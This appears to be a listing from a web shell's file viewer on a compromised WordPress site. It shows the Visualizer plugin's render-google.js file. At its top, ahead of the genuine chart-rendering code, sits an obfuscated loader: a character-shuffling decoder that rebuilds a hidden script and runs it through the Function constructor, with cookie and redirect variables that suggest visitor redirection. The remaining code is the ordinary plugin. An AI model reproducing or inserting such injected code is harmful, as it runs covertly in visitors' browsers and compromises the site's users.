AlkantarClanX12
Current Path : /home/thanudqk/public_html/wordpress_leaderboard/wp-content/plugins/visualizer/js/ |
Current File : //home/thanudqk/public_html/wordpress_leaderboard/wp-content/plugins/visualizer/js/render-google.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/* global google */ /* global visualizer */ /* global console */ // this will store the images for each chart rendered. var __visualizer_chart_images = []; var chartWrapperError = []; var isResizeRequest = false; (function($) { var gv; var all_charts, objects; // so that we know which charts belong to our library. var rendered_charts = []; function renderChart(id) { if ( ! all_charts || 0 === Object.keys( all_charts ).length ) { return; } var chart = all_charts[id]; var hasAnnotation = false; if ( ! chart ) { return; } // re-render the chart only if it doesn't have annotations and it is on the front-end // this is to prevent the chart from showing "All series on a given axis must be of the same data type" during resize. // remember, some charts do not support annotations so they should not be included in this. var no_annotation_charts = ['tabular', 'timeline', 'gauge', 'geo', 'bubble', 'candlestick']; if ( undefined !== chart.settings && undefined !== chart.settings.series && undefined === chart.settings.series.length ) { var chartSeries = []; var chartSeriesValue = Object.values( chart.settings.series ); $.each( Object.keys( chart.settings.series ), function( index, element ) { chartSeries[element] = chartSeriesValue[index]; } ); chart.settings.series = chartSeries; } if(id !== 'canvas' && typeof chart.series !== 'undefined' && typeof chart.settings.series !== 'undefined' && ! no_annotation_charts.includes(chart.type) ) { hasAnnotation = chart.series.length - chart.settings.series.length > 1; } if(! hasAnnotation){ renderSpecificChart(id, all_charts[id]); } } function renderSpecificChart(id, chart) { var render, container, series, data, table, settings, i, j, row, date, axis, property, format, formatter; if( chart.library !== 'google' ) { return; } // Bail if the chart is already rendered or is being rendered. if ( ! window.isResizeRequest && ( $('#' + id).hasClass('visualizer-chart-loaded') || ( 'canvas' !== id && $('#' + id).children( ':not(.loader, style)' ).length > 0 ) ) ) { return; } rendered_charts[id] = 'yes'; series = chart.series; data = chart.data; settings = chart.settings; container = document.getElementById(id); if (container == null) { return; } table = new gv.DataTable({cols: series}); render = objects[id] || null; if (!render) { switch (chart.type) { case "tabular": render = "Table"; break; case "gauge": case "table": case "timeline": render = chart.type.charAt(0).toUpperCase() + chart.type.slice(1); break; default: render = chart.type.charAt(0).toUpperCase() + chart.type.slice(1) + 'Chart'; break; } var controlWrapperElement = document.getElementById( "control_wrapper_" + id ) || null; var withControlMode = ( typeof settings.controls !== 'undefined' && '' !== settings.controls.controlType ) && controlWrapperElement ? true : false; if ( $( controlWrapperElement ).hasClass( 'no-filter' ) ) { withControlMode = false; } if ( withControlMode ) { // Chart wrapper. render = new gv.ChartWrapper({ 'chartType': render, 'containerId': id, }); // Chart dashboard wrapper. var chartWrapperElement = document.getElementById( "chart_wrapper_" + id ) || null; var chartWrapper = new gv.Dashboard( chartWrapperElement ); // Error Handler. gv.events.addListener(chartWrapper, 'error', function ( err ) { if ( chartWrapperError.length === 0 ) { chartWrapperError.push( err ); gv.errors.removeError( err.id ); var chartContainer = $( chartWrapperElement ).find( '.visualizer-front' ); if ( chartContainer && chartContainer.is(':visible')) { if (chartContainer.parents('div').next( '#sidebar' ).length === 0) { chartContainer.addClass( 'visualizer-chart-loaded' ).addClass( 'visualizer-cw-error' ); $( chartWrapperElement ).addClass( 'visualizer-cw-error' ); } } } else { gv.errors.removeError( err.id ); } } ); } else { render = new gv[render](container); } } if (settings['animation'] && parseInt(settings['animation']['startup']) === 1) { settings['animation']['startup'] = true; settings['animation']['duration'] = parseInt(settings['animation']['duration']); } if ( settings['controls'] ) { settings['controls']['ui']['allowMultiple'] = 'true' === settings['controls']['allowMultiple'] ? true : false; settings['controls']['ui']['allowTyping'] = 'true' === settings['controls']['allowTyping'] ? true : false; settings['controls']['ui']['showRangeValues'] = 'true' === settings['controls']['showRangeValues'] ? true : false; } // mark roles for series that have specified a role // and then remove them from future processing // and also adjust the indices of the series array so that // the ones with a role are ignored // e.g. if there are 6 columns (0-5) out of which 1, 3 and 5 are annotations // the final series will only include 0, 2, 4 (reindexed as 0, 1, 2) // this will capture all the series indexes that became annotations. var series_annotations = []; if (settings.series) { var adjusted_series = []; for (i = 0; i < settings.series.length; i++) { if (!series[i + 1] || typeof settings.series[i] === 'undefined') { continue; } if(typeof settings.series[i].role !== 'undefined'){ table.setColumnProperty(i + 1, 'role', settings.series[i].role); if(settings.series[i].role === '') { adjusted_series.push(settings.series[i]); }else{ series_annotations.push(i); } } } if(adjusted_series.length > 0){ settings.series = adjusted_series; } } if ( settings['explorer_enabled'] && settings['explorer_enabled'] == 'true' ) { // jshint ignore:line var $explorer = {}; $explorer['keepInBounds'] = true; if ( settings['explorer_actions'] ) { $explorer['actions'] = settings['explorer_actions']; } settings['explorer'] = $explorer; } switch (chart.type) { case 'pie': if (settings.slices) { for (i in settings.slices) { if (settings.slices[i]['color'] === '') { delete settings.slices[i]['color']; } } } break; case 'line': case 'bar': case 'column': case 'area': case 'scatter': case 'candlestick': if (settings.series) { for (i in settings.series) { if (settings.series[i]['color'] === '') { delete settings.series[i]['color']; } } } if (settings.series && settings.legend && settings.legend.position === "left") { settings.targetAxisIndex = 1; } break; case 'geo': if (settings.region !== undefined && settings.region.replace(/^\s+|\s+$/g, '') === '') { settings['region'] = 'world'; } break; case 'table': case 'tabular': if (parseInt(settings['pagination']) !== 1) { delete settings['pageSize']; } break; case 'gauge': break; case 'bubble': settings.sortBubblesBySize = settings.sortBubblesBySize ? settings.sortBubblesBySize == 1 : false; // jshint ignore:line break; case 'timeline': settings['timeline'] = {}; settings['timeline']['groupByRowLabel'] = settings['groupByRowLabel'] ? true : false; settings['timeline']['colorByRowLabel'] = settings['colorByRowLabel'] ? true : false; settings['timeline']['showRowLabels'] = settings['showRowLabels'] ? true : false; if(settings['singleColor'] !== '') { settings['timeline']['singleColor'] = settings['singleColor']; } break; case 'combo': if (settings.series) { for (i in settings.series) { if (settings.series[i]['type'] === '') { delete settings.series[i]['type']; } if (settings.series[i]['color'] === '') { delete settings.series[i]['color']; } } } if (settings.series && settings.legend && settings.legend.position === "left") { settings.targetAxisIndex = 1; } break; default: return; } if (series[0] && (series[0].type === 'date' || series[0].type === 'datetime' || series[0].type === 'timeofday')) { axis = false; switch (chart.type) { case 'line': case 'area': case 'scatter': case 'candlestick': case 'column': case 'combo': axis = settings.hAxis; break; case 'bar': axis = settings.vAxis; break; } if (axis) { for (property in axis.viewWindow) { date = new Date(axis.viewWindow[property]); if (Object.prototype.toString.call(date) === "[object Date]") { if (!isNaN(date.getTime())) { axis.viewWindow[property] = date; continue; } } delete axis.viewWindow[property]; } } if(settings.hAxis && settings.hAxis.format == ''){ settings.hAxis.format = 'yyyy-MM-dd'; } } if(settings.hAxis){ if(settings.hAxis.textStyle && settings.hAxis.textStyle !== ''){ if(typeof(settings.hAxis.textStyle) === "string") { settings.hAxis.textStyle = {color: settings.hAxis.textStyle}; } } } if(settings.vAxis){ if(settings.vAxis.textStyle && settings.vAxis.textStyle !== ''){ if(typeof(settings.vAxis.textStyle) === "string") { settings.vAxis.textStyle = {color: settings.vAxis.textStyle}; } } } for (i = 0; i < data.length; i++) { row = []; for (j = 0; j < series.length; j++) { switch(series[j].type) { case 'string': if(data[i][j] === ''){ data[i][j] = null; } break; case 'boolean': if (typeof data[i][j] === 'string'){ data[i][j] = data[i][j] === 'true'; } break; case 'date': // fall-through. case 'datetime': if (typeof data[i][j] === 'string') { var dateParse = Date.parse(data[i][j].replace(/-/g, '/')); if ( isNaN( dateParse ) ) { dateParse = Date.parse(data[i][j]); } date = new Date( dateParse ); } else if(typeof data[i][j] === 'object') { date = data[i][j]; } data[i][j] = null; if (Object.prototype.toString.call(date) === "[object Date]") { if (!isNaN(date.getTime())) { data[i][j] = date; } } break; } row.push(data[i][j]); } table.addRow(row); } if (settings.series) { switch(chart.type){ case 'table': case 'tabular': for(i in settings.series){ i = parseInt(i); if (!series[i + 1]) { continue; } format_data(id, table, series[i + 1].type, settings.series[i].format, i + 1); } break; default: for (i = 0; i < settings.series.length; i++) { if (!series[i + 1] || typeof settings.series[i] === 'undefined') { continue; } var seriesIndexToUse = i + 1; // if an annotation "swallowed" a series, use the following one. if(series_annotations.includes(i)){ seriesIndexToUse++; } if ( series[seriesIndexToUse] ) { format_data(id, table, series[seriesIndexToUse].type, settings.series[i].format, seriesIndexToUse); } } break; } } else if (chart.type === 'pie' && settings.format && settings.format !== '') { format_data(id, table, 'number', settings.format, 1); } if(settings.hAxis && series[0]) { format_data(id, table, series[0].type, settings.hAxis.format, 0); } override(settings); gv.events.addListener(render, 'ready', function () { var arr = id.split('-'); render = typeof render.getChart !== 'undefined' ? render.getChart() : render; __visualizer_chart_images[ arr[0] + '-' + arr[1] ] = ''; if (render.container && $(render.container).is(':visible')) { if ($(render.container).parents('div').next( '#sidebar' ).length === 0) { $(render.container).addClass( 'visualizer-chart-loaded' ); } } try{ if ( typeof render.getImageURI !== 'undefined' ) { var img = render.getImageURI(); __visualizer_chart_images[ arr[0] + '-' + arr[1] ] = img; $('body').trigger('visualizer:render:chart', {id: arr[1], image: img}); if ( $( '#chart-img' ).length ) { $( '#chart-img' ).val( img ); } } }catch(error){ var canvas = document.getElementById( 'canvas' ); domtoimage.toPng(canvas) .then(function ( img ) { __visualizer_chart_images[ arr[0] + '-' + arr[1] ] = img; $('body').trigger('visualizer:render:chart', {id: arr[1], image: img}); if ( $( '#chart-img' ).length ) { $( '#chart-img' ).val( img ); } }) .catch(function (error) { console.warn('render.getImageURI not defined for ' + arr[0] + '-' + arr[1]); }); } }); if ( withControlMode ) { // alert( chart.is_library_page ); // Create a control wrapper, passing some options. var controlWrapper = new gv.ControlWrapper( { containerId: 'control_wrapper_' + id, controlType: settings.controls.controlType, 'options': settings.controls, } ); $('body').trigger('visualizer:chart:settings:extend', {id: id, chart: chart, settings: settings, data: table}); render.setOptions(settings); chartWrapper.bind(controlWrapper, render); chartWrapper.draw(table); gv.events.addListener(controlWrapper, 'ready', function ( err ) { if ( 'vertical' === settings.controls.ui.orientation ) { if ( 'canvas' === id ) { jQuery( '#' + id ).addClass( 'vz-vertical' ); } } else { jQuery( '#' + id ).removeClass( 'vz-vertical' ); } }); } else { $('body').trigger('visualizer:chart:settings:extend', {id: id, chart: chart, settings: settings, data: table}); render.draw(table, settings); } } function format_data(id, table, type, format, index) { if (!format || format === '') { return; } var formatter = null; switch (type) { case 'number': formatter = new gv.NumberFormat({pattern: format}); break; case 'date': case 'datetime': case 'timeofday': formatter = new gv.DateFormat({pattern: format}); break; } if (formatter) { formatter.format(table, index); } var arr = id.split('-'); $('body').trigger('visualizer:format:chart', {id: parseInt(arr[1]), data: table, column: index}); } function override(settings) { if (settings.manual) { try{ var options = JSON.parse(settings.manual); $.extend(settings, options); delete settings.manual; }catch(error){ console.error("Error while adding manual configuration override " + settings.manual); } } } function render() { for (var id in (all_charts || {})) { var chartElement = document.getElementById( id ); if (chartElement && chartElement.offsetParent) { renderChart(id); } } } var resizeTimeout; $(document).ready(function() { $(window).resize(function(e) { clearTimeout(resizeTimeout); window.isResizeRequest = 'undefined' !== typeof e.originalEvent ? true : false; resizeTimeout = setTimeout(render, 100); }); resizeHiddenContainers(true); if ( $( '.visualizer-hidden-container' ).length ) { setInterval( function() { $( '.visualizer-hidden-container' ).find(".visualizer-front:not(.visualizer-chart-loaded)").resize(); }, 500 ); } window.addEventListener( 'orientationchange', function() { $( '.visualizer-chart-loaded' ).removeClass( 'visualizer-chart-loaded' ).resize(); }, false); }); $(window).on('load', function(){ $( '.visualizer-front:not(.visualizer-chart-loaded)' ).resize(); resizeHiddenContainers(true); }); function resizeHiddenContainers(everytime){ $(".visualizer-front").parents().each(function(){ if(!$(this).is(":visible") && !$(this).hasClass("visualizer-hidden-container")){ $(this).addClass("visualizer-hidden-container"); } }); var mutateObserver = new MutationObserver(function(records) { records.forEach(function(record) { if(record.attributeName === "style" || record.attributeName === "class"){ var element = $(record.target); var displayStyle = window.getComputedStyle(element[0]).getPropertyValue("display"); if(element.hasClass("visualizer-hidden-container-resized") || displayStyle === "none") { return ; } element.find(".visualizer-front").resize(); if(!everytime) { element.addClass("visualizer-hidden-container-resized"); } } }); }); $('.visualizer-hidden-container').each(function(){ mutateObserver.observe($(this)[0], {attributes: true}); }); } $('body').on('visualizer:render:chart:start', function(event, v){ var $chart_types = ['corechart', 'geochart', 'gauge', 'table', 'timeline']; if(v.is_front == true){ // jshint ignore:line // check what all chart types to load. $chart_types = []; $.each(v.charts, function(i, c){ var $type = c.type; switch($type){ case 'bar': case 'column': case 'line': case 'area': case 'stepped area': case 'bubble': case 'pie': case 'donut': case 'combo': case 'candlestick': case 'histogram': case 'scatter': case 'bubble': $type = 'corechart'; break; case 'geo': $type = 'geochart'; break; case 'tabular': case 'table': $type = 'table'; break; case 'dataTable': case 'polarArea': case 'radar': $type = null; break; } if($type != null){ $chart_types.push($type); } }); } objects = {}; if ( 'object' === typeof google ) { $chart_types.push( 'controls' ); google.load( 'visualization', '51', {packages: $chart_types, mapsApiKey: v.map_api_key, 'language' : v.language, callback: function () { gv = google.visualization; all_charts = v.charts; if(v.is_front == true && typeof v.id !== 'undefined'){ // jshint ignore:line if ( document.getElementById( v.id ).offsetParent !== null ) { renderChart(v.id); } } else { render(); } } }); } }); $('body').on('visualizer:render:specificchart:start', function(event, v){ objects = {}; gv = google.visualization; renderSpecificChart(v.id, v.chart); }); $('body').on('visualizer:render:currentchart:update', function(event, v){ renderChart('canvas'); }); // front end actions // 'image' is also called from the library $('body').on('visualizer:action:specificchart', function(event, v){ var id = v.id; if(typeof rendered_charts[id] === 'undefined'){ return; } var arr = id.split('-'); var img = __visualizer_chart_images[ arr[0] + '-' + arr[1] ]; switch(v.action){ case 'print': // for charts that have no rendered image defined, we print the data instead. var html = v.data; if(img !== ''){ html = "<html><body><img src='" + img + "' /></body></html>"; } $('body').trigger('visualizer:action:specificchart:defaultprint', {data: html}); break; case 'image': if(img !== ''){ var $a = $("<a>"); // jshint ignore:line $a.attr("href", img); $("body").append($a); $a.attr("download", v.dataObj.name); $a[0].click(); $a.remove(); }else{ console.warn("No image generated"); } break; } }); var timer = 0; $( document ).on( 'input', '.series-linewidth', function() { var seriesLineWidth = $( this ); clearTimeout( timer ); timer = setTimeout( function() { if ( seriesLineWidth.val() != '' && seriesLineWidth.val() <= 0 ) { seriesLineWidth.val( '0.1' ); } }, 700 ); } ); })(jQuery);